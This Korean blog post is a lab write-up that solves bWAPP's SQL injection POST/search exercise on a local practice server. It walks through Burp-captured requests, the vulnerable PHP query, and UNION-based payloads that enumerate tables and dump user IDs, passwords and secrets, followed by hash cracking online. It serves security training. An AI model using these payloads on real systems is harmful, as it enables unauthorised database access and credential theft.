사자자리
[bWAPP] SQL Injection – POST/Search 본문
MISSON. 버프스위트를 이용해 사용자들의 id와 password를 획득하자.
[난이도 low]
모든 공격은 버프스위트를 이용해주세요. 공격 과정은 GET방식과 유사합니다.
Quest 1. 데이터베이스 정보를 알아내세요.
burp suite를 켜고 input 박스에 harry potter를 입력해봤다.
POST /bWAPP/sqli_6.php HTTP/1.1
Host: 192.168.35.41
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.35.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.35.41/bWAPP/sqli_6.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ko;q=0.7
Cookie: PHPSESSID=ac7206153a803eace4a691520e5cbe80; security_level=0
Connection: close
title=harry+potter&action=search
title이라는 변수에 입력한 내용이 들어간 것을 볼 수 있다.
<form action="/bWAPP/sqli_6.php" method="POST">
<p>
<label for="title">Search for a movie:</label>
<input type="text" id="title" name="title" size="25">
<button type="submit" name="action" value="search">Search</button>
</p>
</form>
page source를 살펴보니, title 변수의 데이터는 submit 버튼을 누르면 /bWAPP/sqli_6.php로 가는 것을 알 수 있다.
bee@bee-box:~$ cd /var/www/bWAPP
bee@bee-box:/var/www/bWAPP$ cat sqli_6.php
(생략)
<?php
if(isset($_POST["title"]))
{
$title = $_POST["title"];
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>
<tr height="50">
<td colspan="5" width="580"><?php die("Error: " . mysql_error()); ?></td>
<!--
<td></td>
<td></td>
<td></td>
<td></td>
-->
</tr>
<?php
}
if(mysql_num_rows($recordset) != 0)
{
while($row = mysql_fetch_array($recordset))
{
// print_r($row);
?>
<tr height="30">
<td><?php echo $row["title"]; ?></td>
<td align="center"><?php echo $row["release_year"]; ?></td>
<td><?php echo $row["main_character"]; ?></td>
<td align="center"><?php echo $row["genre"]; ?></td>
<td align="center"><a href="http://www.imdb.com/title/<?php echo $row["imdb"]; ?>" target="_blank">Link</a></td>
</tr>
terminal에서 sqli_6.php에 가고, $_POST["title"]을 찾아보았다.
sql이라는 변수에 SELECT * FROM movies WHERE title LIKE '%[입력한 데이터]%' 가 들어가는 것을 알 수 있다.
' or 1=1# 입력, 영화에 관한 데이터베이스임을 알 수 있다.
1' UNION ALL SELECT 1, @@version, 3, 4, database(), 6, 7# 입력
Quest 2. 데이터베이스에 존재하는 모든 테이블 명을 출력하세요.
1’UNION SELECT ALL 1, 2, 3, table_name, 5, 6, 7 FROM information_schema.tables# 입력
Quest 3. 사용자 정보가 들어있는 칼럼을 출력하세요.
1' UNION SELECT ALL 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name='users'# 입력
조건: table_name이 users
Quest 4. 사용자의 id, password, secret, login 정보를 출력해봅시다.
1' UNION SELECT ALL 1,id,password,login,secret,6,7 FROM users# 입력
Quest 5. 사용자의 비밀번호는 해시 값으로 암호화되어 있습니다. 해시값을 크랙해 비밀번호를 알아봅시다. (툴을 설치할 필요 없이 웹사이트를 이용하셔도 됩니다.)
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
웹사이트 덕분이 편안하게 해시값을 크랙할 수 있었다.
'웹해킹 > bWAPP' 카테고리의 다른 글
[bWAPP] Cross-Site Scripting - Reflected (POST) (0) | 2022.08.03 |
---|---|
[bWAPP] Cross-Site Scripting - Reflected (GET) (0) | 2022.08.03 |
[bWAPP] HTML Injection – Stored (Blog) (0) | 2022.07.17 |
[bWAPP] HTML Injection - Reflected (POST) (0) | 2022.07.17 |
[bWAPP] HTML Injection - Reflected (GET) (0) | 2022.07.11 |